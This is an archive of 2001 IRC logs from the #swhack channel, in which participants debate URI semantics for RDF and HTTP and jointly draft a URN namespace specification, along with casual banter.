<Aaron-SWWS> Aaron-SWWS is now known as Currently 16:30:41 <Currently> Currently is now known as AaronSw 16:50:55 <AaronSw> AaronSw is now known as Aaron-SWWS 17:09:34 <Aaron-SWWS> Aaron-SWWS has quit 17:42:10 <AaronSw> AaronSw has joined #swhack 17:54:53 <AaronSw> AaronSw has quit 18:05:38 <AaronSw> AaronSw has joined #swhack 19:02:52 <AaronSw> AaronSw has quit 23:01:50 <AaronSw> AaronSw has joined #swhack 23:18:42 <AaronSw> AaronSw is now known as Aaron-SWWS 23:31:57 <Aaron-SWWS> Aaron-SWWS has quit ����������������������������������������������������������������������������������������������������������������������������������������2001-08-01.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000002272�07332111555�012004� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������04:42:38 <googler> googler has quit 04:55:31 <googler> googler has joined #swhack 12:45:19 <sbp> sbp has joined #swhack 12:49:45 <sbp> sbp has quit 12:51:24 <sbp> sbp has joined #swhack 13:51:57 <sbp> sbp has quit 16:43:08 <AaronSw> AaronSw has joined #swhack 16:43:21 <AaronSw> AaronSw is now known as Aaron-F2F 17:06:15 <Aaron-F2F> Aaron-F2F is now known as AaronSw 17:52:47 <sbp> sbp has joined #swhack 18:00:09 <sbp> sbp has quit 19:06:11 <sbp> sbp has joined #swhack 20:02:54 <sbp> sbp has quit 20:30:17 <sbp> sbp has joined #swhack 20:55:27 <sbp> sbp has quit 21:31:50 <AaronSw> AaronSw has quit 21:35:49 <sbp> sbp has joined #swhack 22:22:55 <sbp> sbp has quit 22:22:55 <googler> googler has quit 22:23:04 <googler> googler has joined #swhack 22:23:04 <sbp> sbp has joined #swhack 22:28:23 <googler> googler has quit 22:28:43 <googler> googler has joined #swhack 22:30:15 <sbp> sbp has quit 22:39:06 <googler> googler has quit 22:39:27 <googler> googler has joined #swhack 22:43:46 <sbp> sbp has joined #swhack 22:47:15 <googler> googler has quit 22:47:36 <googler> googler has joined #swhack 22:52:13 <googler> googler has quit 22:52:34 <googler> googler has joined #swhack 23:40:29 <sbp> sbp has quit ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-08-02.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000017061�07332360311�012003� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������03:59:48 <googler> googler has quit 03:59:53 <googler> googler has joined #swhack 04:58:11 <AaronSw> AaronSw has joined #swhack 06:24:28 <Lifter> Lifter has joined #swhack 06:33:09 <Lifter> Lifter has left channel 15:00:14 <sbp> sbp has joined #swhack 15:00:23 <AaronSw> * AaronSw waves 15:00:29 <sbp> Hi Aaron 15:00:34 <AaronSw> Hi Sean 15:02:22 <sbp> Oh, it' still going 15:02:25 <sbp> oops 15:46:19 <sbp> Now that's cool: http://blogspace.com/pictures/photo-view?photo_id=4282 15:46:56 <AaronSw> Isn't it! 15:47:32 <sbp> Goes right up there next to the picture of you and TimBL, I'll bet 15:47:41 <AaronSw> For sure. 15:48:08 <sbp> What was the vegemite challenge all about? 15:50:36 <AaronSw> Well, in the first RDF WG, they had folks from Netscape, Microsoft, etc. and it was sort of hard to get them to agree. 15:51:13 <AaronSw> So Eric dared them that if they finished he'd eat a spoonful of vegemit (which he absolutely hates) 15:51:21 <AaronSw> They closed issues so quickly that day! 15:51:44 <AaronSw> Eric ate the vegemite, turned green, threw up multiple times, etc. 15:51:56 <AaronSw> So now it's Brian's turn, he says. ;-) 15:53:55 <sbp> sbp has quit 15:57:49 <sbp> sbp has joined #swhack 15:59:52 <sbp> lol @ Eric ate the vegemite, turned green, threw up multiple times, etc. 16:25:57 <sbp> sbp has quit 16:27:46 <ASwartz> ASwartz has joined #swhack 16:27:51 <AaronSw> AaronSw has quit 16:28:13 <ASwartz> ASwartz is now known as AaronSw 17:11:04 <sbp> sbp has joined #swhack 17:37:41 <sbp> sbp has quit 18:10:32 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[v123-1.ARSDigita.seg.NET] by benford.openprojects.net (Ping timeout for logster[v123-1.ARSDigita.seg.NET])) 18:10:39 <logster> logster has joined #swhack 18:10:39 <sagan.openprojects.net> Users on #swhack: logster AaronSw googler 20:11:58 <sbp> sbp has joined #swhack 20:18:31 <sbp> Have they got to the cyclic transitive relationships thing yet? 20:20:23 <sbp> Oh, they just did it... 20:23:06 <AaronSw> ;-) 20:23:33 <AaronSw> Pizza is something they can all agree on. 20:23:52 <sbp> Ooh, pizza 20:29:40 <AaronSw> logger, off 20:29:46 <AaronSw> logster, off 20:46:23 <sbp> yeah, I agree (to nothing in particular if you're reading the logs) 20:46:49 <sbp> but there are other April fools RFCs, so perhaps more occurances 20:52:40 <sbp> googler, what is the google IRC bot thing? 20:52:42 <googler> what is the google IRC bot thing: http://dgl.cx/irc/ 20:52:48 <sbp> googler, what is the googler IRC bot thing? 20:52:50 <googler> No matches for what is the googler IRC bot thing. 20:53:50 <sbp> I love this little bit:- 20:53:51 <sbp> *** Now talking in #twilightzone 20:53:51 <sbp> *** AaronSw has joined #twilightzone 20:53:51 <sbp> <AaronSw> I knew you'd be here 20:53:51 <sbp> *** AaronSw has left #twilightzone 20:54:31 <AaronSw> But who's there now? 20:54:42 <sbp> Couldn't care less 20:55:21 <sbp> Oh, we'd make a good comedy duo sometimes 20:55:22 <AaronSw> Ooh, you missed the fun. 20:55:30 <AaronSw> Come back again. 20:55:33 <sbp> where? 20:55:53 <sbp> there 20:55:56 <AaronSw> here 20:56:01 <sbp> who? 20:56:04 <sbp> sbp has left channel 20:56:06 <AaronSw> huh? 20:57:41 <AaronSw> googler, rss 20:57:42 <googler> rss: http://www.purl.org/rss/1.0/ 21:36:31 <sbp> sbp has joined #swhack 21:47:21 <sbp> definition of a programmer: one who thinks that indefinite plurals such as other(s) are functions 21:54:23 <sbp> heh, I like your homepage on logicerror.com, which basically starts, "Hi, I'm Aaron and I'm Jewish" 21:54:46 <AaronSw> * AaronSw is still working on the proper way to integrate RDF and english... 21:54:54 <sbp> Yeah! 21:55:27 <sbp> [ daml:intersectionOf (:Male :Person :Jew :SWDeveloper :American) ] . 21:56:05 <sbp> Hmm... how many people could satisfy that description? 21:57:31 <sbp> Shame we don't have an SW on which to run the query :-) 21:57:43 <AaronSw> :-) 22:01:03 <sbp> where does the pickle Python library come from? Is it built in? 22:02:04 <sbp> Hmm... yes, it is 22:07:12 <AaronSw> Ooh, you were right. 22:07:17 <AaronSw> <jang> ow many people are interested in being the editor/document layout person 22:07:17 <AaronSw> <jang> graham is 22:07:26 <sbp> Hooray! 22:07:43 <AaronSw> <danbri> danbri is 22:07:56 <sbp> Wow! Oh, I should have bet you money... 22:08:09 <AaronSw> * AaronSw is interested in nitpicking 22:08:16 <AaronSw> <danbri> (danbri is...interested in being on any group working on document partitioning) 22:08:21 <AaronSw> hmm 22:09:40 <sbp> * sbp notes that he can't start PWS... 22:11:34 <sbp> Hmm... perhaps I have to go offline to run it 22:11:38 <sbp> sbp has quit 22:24:59 <AaronSw> Hey, I just had a thought: 22:25:11 <AaronSw> If I edit the RDF spec, we could write it in xWebL! 22:27:47 <sbp> sbp has joined #swhack 22:27:58 <AaronSw> Hey, I just had a thought: 22:27:59 <AaronSw> If I edit the RDF spec, we could write it in xWebL! 22:28:01 <sbp> It worked, and I'm quite impressed 22:28:04 <sbp> Heh! 22:28:13 <sbp> http://c2.com/cgi/wiki?IckyWiki 22:28:19 <AaronSw> heh 22:29:19 <AaronSw> ickwiki: cool 22:29:22 <sbp> It'd be neater if it formatted e.g. string.replace(w,'\n\n','<br /><br />'), but since I haven't got a clue what it's doing 22:29:39 <sbp> I'm not gonna be the one to mess it up :-) 22:29:58 <sbp> Plus, it seems to be winning the shortest Wiki thing 22:32:26 <AaronSw> heh: dict-is-short-for-dictator-cuz-gui-was-already-in-use-ly y'rs 22:33:02 <sbp> ? 22:33:23 <AaronSw> from PythonLanguage 22:33:25 <AaronSw> Heh: <jang> ph: it's startling that ean entire country waiting for us to make up our minds 22:34:19 <AaronSw> must be some pun on dict and BDFL 22:38:33 <sbp> Red Dwarf quote:- 22:38:33 <sbp> Love is what makes us different from animals, Lister. 22:38:34 <sbp> No, what makes us different from animals is that we don't use our tongues to clean our own genitals. 22:38:37 <sbp> [end quote] 22:38:56 <sbp> Last time, Lister, I only failed by the narrowest of narrow margins. 22:38:56 <sbp> You what? You went in there, wrote "I am a fish" four hundred times, did a funny little dance, and fainted. 22:39:00 <sbp> [end quote] 22:39:22 <sbp> I wrote "I am a fish" ahundereds of times in an exam once just for a laugh. Didn't faint at the end though (maybe I did a mock one) 22:39:35 <sbp> I think I did a similar thing with "Screw Flanders" too 22:39:39 <AaronSw> heh 22:40:10 <AaronSw> * AaronSw runs the RDF parser tests on ARP 22:40:31 <sbp> All in all, a hundred percent successful trip. 22:40:31 <sbp> But sir, we lost mister Rimmer! 22:40:31 <sbp> All in all, a hundred percent successful trip. 22:40:33 <sbp> [end quote] 22:40:36 <sbp> love it! 22:40:46 <AaronSw> :-) 22:42:09 <sbp> do you know of any Quine programs written in Python? 22:42:33 <sbp> ah, thank you Google 22:42:47 <sbp> http://www.nyx.net/~gthompso/quine.htm 22:43:22 <sbp> and hence:- 22:43:22 <sbp> http://www.nyx.net/~gthompso/self_pyth.txt 22:45:53 <AaronSw> heh 22:46:33 <sbp> I could replicate my Webpage across the world, reducing the need for storage space 22:46:48 <AaronSw> err, wouldn't you be increasing it? 22:47:00 <sbp> Aha! That must be how viruses start out. a) with the idea in the line above, b) with the knowhow to do it, and c) nuts enough to carry it through 22:47:09 <sbp> thankfully, I only have a) 22:47:28 <sbp> Nah, because I'd be using other people's storage space, which doesn't count 22:47:50 <AaronSw> ...signs of a virus-maker 22:48:23 <sbp> :-) 22:48:40 <sbp> Wasn't one of the biggest viruses of all time accidental? 22:48:56 <AaronSw> the worm?... that's a matter of controversy 22:50:22 <sbp> isn't everything? 22:52:11 <AaronSw> ;-) 23:20:13 <sbp> sbp has quit 23:22:49 <sbp> sbp has joined #swhack �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-08-03.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000115241�07332633441�012012� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:11:06 <googler> googler has quit 00:11:06 <sbp> sbp has quit 00:11:21 <googler> googler has joined #swhack 00:11:21 <sbp> sbp has joined #swhack 00:20:27 <sbp> sbp has quit 00:36:53 <sbp> sbp has joined #swhack 00:48:11 <sbp> lol! http://www.metafilter.com/comments.mefi/6048 00:51:24 <sbp> Are you happy Aaron? :-) 00:51:24 <sbp> Oh man, some of the people on that thread are real down-to-earth jerks. I mean, just total bastards 00:52:45 <sbp> But it has to win comedy of the week award. It'd be one of those things I'd print out and hang on my wall 00:52:58 <sbp> "hey, look what this idiot advised me to do" 00:53:33 <sbp> I'm undecided about which is the funniest comment 00:54:32 <sbp> Oh, it has to be the first capn_stuby comment. That just kicks-ass 00:55:00 <sbp> Then again, I also like "How many weeks of allowance does it take to buy 5+ domain names?" 00:56:23 <sbp> "If certain posters on this thread are exemplars of proper social development, I hope the kid sticks to his XML." 00:56:49 <sbp> Socializing with assholes, or hacking XML... I chose T.V. 00:57:15 <sbp> Oh this bit's brilliant too: "Don't tell me that a group of 25 year old XML monkeys or a group of 14 year old supergeniuses is a good representative model of society that will give the child a sense of how to act in the world." 00:57:28 <sbp> Love it! 00:58:14 <sbp> "Ooh, my world is full of scary monsters and shit, and if you don't interact with a tonne of piss-heads, and drug dealers, you'll never learn how to get through life, blah blah blah" 00:59:57 <sbp> "All of them were Mensa meterial and super smart, but sociopaths to the 19! degree." 01:00:12 <sbp> See, the problem is, he's talking about clever people there, not intelligent people 01:00:34 <sbp> "Kids are messy, destructive, snotty, candy-snarfin', soda-swillin' leisure monsters." - so are adults 01:00:46 <sbp> s/candy/coffee 01:00:58 <sbp> s/soda/beer 01:01:09 <sbp> s/leisure/sex 01:01:46 <sbp> "one (being smart) doesn't automatically preclude the other (fucking around)." - damn straight! 01:02:24 <sbp> "Actually the kid's very socially adjusted." - pfffffffffffff 01:03:35 <sbp> anyway, I love it 01:05:12 <sbp> And I'm very proud to know the "kid" who has an entire Metafilter thread devoted to him... it just makes me dran proud :-) 01:05:22 <sbp> s/dran/darn 01:05:34 <sbp> Hmm... I seem to have problems typing the word "darn" 01:05:57 <sbp> I could ask the OED to change it to dran. Maybe if I slipped them £10 or something 01:17:38 <AaronSw> Hey, good news! 01:17:44 <sbp> What? What? 01:17:48 <AaronSw> I was just at a bookstore and guess what I saw? 01:17:56 <sbp> My book? 01:17:57 <AaronSw> s/?/./ 01:18:01 <AaronSw> You guessed it! 01:18:07 <sbp> Really?! Yay! 01:18:10 <AaronSw> I was going to buy it, but it was too expensive. 01:18:24 <sbp> Heh! Yeah, it is a bit costly. Did you at least read it? 01:18:30 <AaronSw> It was sort of surprising -- they didn't have any Python books, but oh, sure, they had your book. 01:18:37 <AaronSw> We were sort of in a hurry so I skimmed it. 01:18:44 <AaronSw> Did you write the chapter on the W3C also? 01:18:59 <sbp> Nah... just the Accessibility thingy 01:19:11 <AaronSw> It seemed pretty good... a lot of good advice. 01:19:42 <sbp> thanks 01:20:13 <sbp> Don't forget to buy one in future, and one for all your friends, etc. 01:20:28 <AaronSw> Right, right. 01:20:40 <sbp> Anyway, in the meantime, I've remembered to let you know about the SWAG UTIL thing 01:20:48 <sbp> http://purl.org/swag/util# 01:21:21 <AaronSw> what about it? 01:21:43 <sbp> Is it any good? If so, could you release it 01:21:50 <sbp> (back into the wild) 01:22:06 <AaronSw> isn't it already in the wild? 01:22:17 <sbp> not yet 01:22:52 <AaronSw> how so? 01:26:04 <sbp> sbp has quit 01:35:25 <sbp> sbp has joined #swhack 01:35:46 <sbp> it hasn't yet been released onto the plains of the SW mailing lists 01:36:23 <AaronSw> hmm 01:37:03 <sbp> And another thing... you mihgt be really impressed with this, or you might not be 01:37:22 <sbp> XNote 01:38:49 <AaronSw> XNote? xWebL in a nutshell? 01:39:14 <sbp> I dunno. It started out as something completely different, or rather, a sideline to xWebL 01:39:16 <AaronSw> It looks pretty good at first glance. 01:39:40 <sbp> and grew into something that can do something a lot like xWebL, but with a slightly different scope 01:40:15 <AaronSw> swag/util looks good (aside from the #) 01:41:00 <sbp> I want to keep the "#", because there's no harm at all in using it - i.e. what have you got to lose? 01:41:23 <AaronSw> well, when the new regime comes, it won't work 01:41:32 <sbp> pardon me? 01:41:33 <AaronSw> all the properties aren't resources 01:41:42 <AaronSw> it's not even a URI 01:41:46 <sbp> er, what? 01:42:01 <AaronSw> The usual # problems 01:42:25 <sbp> Oh, right. But this is RDF, so the MIME type... do I have to go on? 01:43:04 <sbp> Er... you're writing the MIME spec for RDF, aren't you? Don't forget to say what the fragment bits mean :-) 01:43:07 <AaronSw> well you know my argument... it's just not a resource 01:43:20 <sbp> It is according to RDF M&S 01:43:26 <AaronSw> pffft 01:43:40 <sbp> well then, don't use HTTP. That's the only option 01:43:50 <AaronSw> Umm, no! 01:44:26 <sbp> if you start using HTTP resources as RDF terms, you lose a way to address the HTTP resource as a network retrievable entity 01:44:39 <sbp> case in point: your logicerror.com stuff 01:45:07 <sbp> @prefix : <http://logicerror.com/> . :AaronSw :writtenBy :AaronSw . 01:45:11 <AaronSw> use ? 01:45:18 <sbp> Pardon? 01:45:47 <AaronSw> Well that needs to be sorted out, but # is not the solution. 01:46:04 <AaronSw> the network retrievable entity never had the URI 01:46:15 <sbp> Precisely, it needs to be sorted out. HTTP URIs can't identify two different resources. So, either "#" or "urn" 01:46:15 <AaronSw> HTTP is very clear on this: a URI represents a Resource, which can be anything 01:46:25 <AaronSw> the server just sends back a bag of bits which is somehow a resource. 01:46:30 <AaronSw> err related to the resource 01:46:51 <AaronSw> The easy solution is for the bag of bits to say what the resource is 01:47:19 <sbp> So how do I identify the bag of bits, given that that is what people usually associate with a URI? 01:47:28 <AaronSw> No it's not. 01:47:31 <sbp> Practically speaking, it won't work 01:47:43 <AaronSw> That's not true, hardly anyone associates a bag of bits with a URI. 01:47:52 <AaronSw> They associate a URI with a concept, which expresses itself as a bag of bits. 01:47:54 <sbp> bag of bits => I mean, the page itself 01:48:04 <AaronSw> like http://aaronsw.com/ is the concept of "my homepage" 01:48:19 <AaronSw> the bag of bits changes over time, and in the future may be an amusement park or something 01:48:23 <AaronSw> but it is still my homepage 01:48:38 <sbp> <http://aaronsw.com/> log:includes "Aaron Swartz" . 01:48:52 <sbp> There, now that's referring to the bits... even CWM does it 01:49:33 <AaronSw> [:date "2001-08-02" ; :resource <http://aaronsw.com/> ; :protocol :HTTP ] log:includes "Aaron Swartz" . 01:50:10 <sbp> that's just not practical 01:50:22 <AaronSw> well, log:includes is a shorthand for that 01:50:32 <AaronSw> with the parameters set to the default 01:51:17 <sbp> as TimBL said, you can't ask for Dan over HTTP 01:51:51 <AaronSw> Of course not! 01:52:14 <AaronSw> what's your point 01:52:30 <sbp> you can't identify Dan in HTTP space 01:52:41 <sbp> because he's not there 01:52:45 <AaronSw> That's not true. 01:53:03 <AaronSw> HTTP identifies resources, of any sort. 01:53:12 <AaronSw> But it can't return resources, no protocol can. 01:53:31 <AaronSw> Amazon is an implementation of the isbn: scheme 01:53:48 <AaronSw> but it doesn't return the resource behind isbn:, it returns an entity -- a book 01:53:51 <sbp> URIs can map many to one, I don't care about that 01:54:10 <AaronSw> That's not my point. 01:54:14 <AaronSw> I never said that. 01:54:16 <AaronSw> Interesting: http://home.snafu.de/castor/projects/pyx/ 01:54:22 <sbp> I care that you're trying to represent Dan in HTTP space, when that's impossible 01:54:29 <AaronSw> why is it? 01:54:35 <AaronSw> what in the spec implies that? 01:54:43 <sbp> Try readint the HTTP specification 01:54:53 <AaronSw> Yeah, I have. 01:55:50 <sbp> PyX: that's clever. They take the worst feature of Python, and add it with a metalanguage that no one in the world really understands (or very few people) 01:56:07 <AaronSw> Worst feature of Python? Not so. 01:56:17 <AaronSw> And how many people understand HTML? 01:56:18 <sbp> significant whitespace? Eek 01:56:29 <sbp> very few... perhaps none 01:56:33 <AaronSw> exactly 01:56:41 <AaronSw> Hmm, I sort of like StructuredText better. 01:56:46 <AaronSw> err ZopeStructuredText 01:56:50 <sbp> anyhoo, back to Dan over HTTP 01:57:24 <AaronSw> right, can i have a spec quote? 01:57:59 <sbp> I have to cite this bit... just have to:- 01:58:00 <sbp> [[[ 01:58:03 <sbp> It is important, on the Semantic Web, to be clear about what is identified. An http: URI (without fragment identifier) necessarily identifies a generic document. This is because the HTTP server response about a URI can deleiver a rendition of (or location of, or apologies for) a document which is identified by the URI requested. A client which understands the http: protocol can immediately conclude that the fragementid-less URI is a generic document. This is true e 01:58:08 <sbp> ]]] - http://www.w3.org/DesignIssues/Fragment 01:58:12 <sbp> now onto the specifications... 01:58:35 <AaronSw> Fragment is blantantly false, IMHO. 01:59:19 <sbp> * sbp remembers the latest RFC for HTTP; does Aaron? 01:59:21 <sbp> :-) 01:59:23 <sbp> RFC 2616 01:59:29 <AaronSw> good job. ;-) 02:00:02 <sbp> Point me to the acceptable return code for a query on Dan 02:00:11 <sbp> http://www.w3.org/People/Connolly/Dan 02:00:34 <AaronSw> 200 02:00:49 <AaronSw> 200 OK 02:01:26 <sbp> 10.2.1 200 OK 02:01:27 <sbp> The request has succeeded. The information returned with the response 02:01:27 <sbp> is dependent on the method used in the request, for example: 02:01:27 <sbp> GET an entity corresponding to the requested resource is sent in 02:01:27 <sbp> the response; 02:01:33 <sbp> what entity should be returned? 02:01:49 <sbp> is has to be a representation of Dan. That's impossible 02:02:05 <AaronSw> A page that states, the URI you have requested represents Dan Connolly and gives a description of him, etc. 02:02:08 <AaronSw> a representation? 02:02:12 <AaronSw> it doesn't say that! 02:02:21 <AaronSw> it says: "an entity corresponding to the requested resource" 02:02:28 <AaronSw> that's what's being returned, my friend 02:02:58 <sbp> Well, I'm very unhappy about it. I'd say that it's information *about* Dan, not Dan himself 02:03:34 <AaronSw> Well it corresponds to the resource, no? 02:03:39 <AaronSw> I mean, I don't want to give you Dan. 02:03:47 <AaronSw> Perhaps I should send you a Not Authorized? 02:03:58 <AaronSw> Don't take away my Danny-boy! 02:05:22 <sbp> I think you're twisting what HTTP should be able to do... it's a hypertext transfer protocol: transferring data suitable for HyperText systems. That's just data, MIME an' all 02:05:35 <AaronSw> I never contradicted that. 02:05:42 <AaronSw> I don't disagree. 02:06:00 <sbp> er... so you agree? 02:06:11 <AaronSw> Yes, I agree that's what HTTP Is supposed to do. 02:06:22 <sbp> * sbp wonders why you didn't save a few characters 02:06:26 <AaronSw> But there's also a social contract, of sorts, involved. 02:06:36 <sbp> It's a very weak social contract 02:06:39 <AaronSw> If I request a resource, I want something related back. 02:06:52 <AaronSw> Otherwise URIs wouldn't be very useful. 02:07:03 <sbp> 404 02:07:05 <AaronSw> I'd give you one but it'd be something different every time you visited it. 02:07:17 <sbp> sometimes they're not... 200 O.K. is a wonderful 02:07:30 <sbp> er.. 02:07:33 <sbp> hang on 02:08:34 <sbp> Ah, bollocks. Conceptually, I should concede. But practically and intuitively, it seems very wrong 02:09:07 <AaronSw> Why? 02:09:18 <sbp> :AaronSw :wrote :AaronSw . 02:09:19 <AaronSw> Perhaps you should read whats-his-name's thesis. 02:09:25 <AaronSw> See, that's wrong. 02:09:29 <AaronSw> We need to be careful. 02:09:34 <AaronSw> It's the "Mona Lisa Problem". 02:09:57 <sbp> I know what's wrong, I know how to correct it 02:10:05 <sbp> I'm saying that most people don't, and won't 02:10:22 <AaronSw> And using # will correct that? 02:10:58 <sbp> It'll stop them from getting confused. A URN scheme would clearly be better 02:11:35 <AaronSw> OK, so let's go with URNs then... or TAG/TANN/RAKJKS. 02:11:56 <AaronSw> But don't try and screw with implemented Web Architecture! 02:12:44 <sbp> Fine, let's go with URNs 02:12:51 <sbp> You can help me with the PTS scheme 02:13:31 <sbp> http://infomesh.net/2001/07/urn/urn-pts.txt 02:14:10 <sbp> RAKJKS? 02:14:22 <AaronSw> I was thinking of PTS, couldn't remember the name, tho 02:14:26 <sbp> :-) 02:14:33 <AaronSw> What do you need help with? 02:14:48 <sbp> I basically haven't got a clue what I'm doing 02:15:11 <AaronSw> How so? 02:15:53 <sbp> in that the RFC track scares the shit out of me. I'm not sure what format it has to be in, or who to send it to, because the IETF documents appear to be in conflict 02:16:22 <AaronSw> Well, put my name on it and we'll do it together. ;-) 02:16:24 <sbp> the registration documents for URNs, and the IETF registration details... all so complex and stupid. And the damn text-formatting 02:16:28 <sbp> O.K., fine 02:18:13 <sbp> refresh it 02:18:47 <AaronSw> OK, i'm with you. 02:19:41 <AaronSw> err, and at the bottom of the page 02:19:57 <AaronSw> Can't you capitalize email? 02:20:22 <sbp> Where? 02:20:30 <AaronSw> email address: <mailto:sean@mysterylights.com> 02:20:44 <AaronSw> and why doe the * go before the term in your BNF? 02:20:56 <sbp> O.K., done it 02:21:07 <sbp> * before: er... perhaps that's an ABNF thing 02:21:21 <AaronSw> It seems really strange. 02:21:28 <AaronSw> are you sure? 02:21:48 <sbp> * sbp checks 02:22:07 <sbp> path_segments = segment *( "/" segment ) 02:22:11 <sbp> from the URI RFC 02:22:13 <AaronSw> oddd 02:22:14 <AaronSw> and why no email addresses? 02:22:25 <sbp> no email addresses where? 02:22:27 <AaronSw> in pts 02:22:30 <AaronSw> only domain names 02:22:40 <sbp> ah yes: couldn't be bothered 02:23:16 <sbp> domain names are just as easy to get as email addresses, anyway 02:23:29 <AaronSw> not true 02:23:33 <AaronSw> email addresses are free 02:23:35 <AaronSw> domain names are not 02:23:46 <sbp> yes true. it includes subdomains, and I know places that give away subdomains 02:24:03 <AaronSw> good point... 02:24:22 <AaronSw> hmm, not sure if that is a good idea or not... 02:24:29 <AaronSw> who owns foo.blogspot.com 02:24:32 <AaronSw> or foo.weblogs.com 02:24:50 <sbp> who owns blargh@yahoo.com? 02:25:05 <AaronSw> ok, i take the point 02:25:28 <sbp> that's part of the pain-in-the-arse about URIs and security 02:26:25 <sbp> the only odd bit in the specification is:- 02:26:26 <sbp> For example, if Fred Bloggs owns the domain example.org for the 02:26:26 <sbp> entire month of May, in the year 2002, then he acquires the right 02:26:26 <sbp> to create names under the authority component (<authority>):- 02:26:26 <sbp> example.org,2002-05 02:26:26 <sbp> This is a non-transferable right. Persons or entities MUST NOT 02:26:28 <sbp> create URNs using authority components (<authority>) that they do 02:26:31 <sbp> not own based upon the rules above. 02:26:36 <sbp> I couldn't think of an easy way around it 02:26:45 <AaronSw> What's odd about that? 02:29:36 <sbp> sbp has quit 02:37:46 <sbp> sbp has joined #swhack 02:38:05 <AaronSw> I'm just cleaning up the PTS spec now... 02:38:10 <sbp> Cheers 02:38:32 <sbp> note the spelling mistak 02:38:37 <sbp> lol 02:38:42 <sbp> s/mistak/mistake 02:38:44 <AaronSw> multiple ones. 02:38:45 <sbp> in the draft:- 02:38:51 <sbp> s/curent/current 02:38:56 <sbp> yep, it's just a draft 02:40:37 <sbp> in the script, could you replace:- 02:40:37 <sbp> auth = m[0] 02:40:37 <sbp> auth = string.replace(auth, ",", "/") 02:40:37 <sbp> path = m[1] 02:40:41 <sbp> with:- 02:40:55 <AaronSw> I'm taking out the script, since it's rather self-evident 02:40:58 <AaronSw> Do you mind? 02:41:06 <sbp> auth = string.replace(m[0],",","/") 02:41:27 <sbp> path = string.replace(m[1],":","/") 02:41:30 <sbp> no, fine... 02:42:32 <sbp> Hmm... perhaps that second line should be an error. ":" shouldn't convey any sense of structure by default 02:42:47 <sbp> But then again, neither should "/" :-) 02:42:53 <AaronSw> ;-) 02:43:29 <sbp> are your cleanup results WWW available yet? 02:43:33 <sbp> s/WWW/HTTP 02:43:35 <AaronSw> almost 02:45:16 <sbp> oh crap, change:- 02:45:18 <sbp> month ::= "0" | digitx0 | "10" | "11" | "12" 02:45:20 <sbp> into:- 02:45:25 <sbp> month ::= digitx0 | "10" | "11" | "12" 02:45:28 <AaronSw> What do you think of: 02:45:30 <AaronSw> Process for identifier resolution: 02:45:30 <AaronSw> It is possible (but not required) that the identifiers may be 02:45:30 <AaronSw> resolved by converting the authority into a request using the 02:45:30 <AaronSw> HTTP protocol. In such a method, all commas (,) and hyphens (-) 02:45:30 <AaronSw> are replaced with slashes (/). The colon (:) separating the 02:45:31 <AaronSw> authority and the name is also replaced with a slash. 02:45:33 <AaronSw> 02:45:35 <AaronSw> For example:- 02:45:37 <AaronSw> 02:45:39 <AaronSw> urn:pts:example.org,2002-05:foo/bar 02:45:41 <AaronSw> 02:45:43 <AaronSw> would become:- 02:45:45 <AaronSw> 02:45:47 <AaronSw> http://exam 02:45:49 <AaronSw> ple.org/2002/05/foo/bar 02:45:51 <AaronSw> 02:45:54 <AaronSw> Obviously such a mechanism of resolution would not be persistent. 02:46:06 <AaronSw> ...Heh, month 0 02:46:15 <sbp> fine, apart from the fact that foo/bar is not a valid instance of that component 02:46:21 <sbp> try foo:bar 02:46:21 <AaronSw> really? 02:46:33 <sbp> name ::= *( char [ ":" ] ) 02:46:33 <sbp> char ::= 1*( unreserved | escaped ) ; [RFC 2396] 02:46:55 <AaronSw> oops 02:47:02 <AaronSw> perhaps we should add slash? 02:47:25 <AaronSw> shouldn't it be: 02:47:29 <AaronSw> char | ":" 02:47:30 <AaronSw> ? 02:47:42 <sbp> That was one of the first things that I thought of, but I think people would be too hung up on directory structures 02:47:47 <sbp> er, yes, I think it should 02:48:06 <sbp> no, actually, it isn't 02:48:26 <sbp> because otherwise it would allow urn:pts:example.org,2002-05:::::::blargh::::: 02:48:52 <AaronSw> umm, ok 02:49:34 <sbp> take my word for it 02:49:46 <AaronSw> OK, so: 02:49:47 <AaronSw> For example:- 02:49:47 <AaronSw> 02:49:47 <AaronSw> urn:pts:example.org,2002-05:foo:bar 02:49:47 <AaronSw> 02:49:47 <AaronSw> would become:- 02:49:50 <AaronSw> 02:49:51 <AaronSw> http://example.org/2002/05/foo/bar 02:50:05 <sbp> yeah, that's absolutely fine 02:50:38 <AaronSw> and how about this: 02:50:38 <AaronSw> Rules for Lexical Equivalence: 02:50:38 <AaronSw> Two PTS URNs are equivalent if the strings are 02:50:38 <AaronSw> character-for-character equivalent. 02:50:52 <sbp> fine 02:51:23 <AaronSw> OK: http://logicerror.com/ptsURN 02:52:26 <sbp> Yep, that's neat 02:52:40 <AaronSw> And spell checked. 02:52:47 <AaronSw> Should I submit it? 02:53:07 <sbp> Hmm... take out the "::" in the BNF... that's ABNF 02:53:23 <AaronSw> What should I replace it with? 02:53:32 <sbp> delete it 02:54:26 <AaronSw> OK, now? 02:54:52 <sbp> The <hostname>, <unreserved> and <escaped> tokens are imported 02:55:03 <sbp> check that out! Must have copied and pasted it from a former draft 02:55:04 <AaronSw> so? 02:55:15 <sbp> there are no tokens of those names! 02:55:27 <AaronSw> err, yes there are 02:55:32 <sbp> er... of hostname there aren't 02:55:37 <AaronSw> domain = hostname ; [RFC 2396] 02:55:40 <sbp> oops, sorry 02:55:41 <AaronSw> and it's imported 02:56:00 <sbp> yep, my mistake 02:56:21 <sbp> O.K., it's fine. But not formatted correctly yet 02:56:34 <AaronSw> That's OK, that's what RFC Editors are for. 02:56:35 <AaronSw> ;-) 02:56:55 <sbp> Ahh, RFC editors 02:58:15 <AaronSw> OK, so you want to send it or should I? 02:58:25 <sbp> you can... but now? really? 02:58:31 <AaronSw> 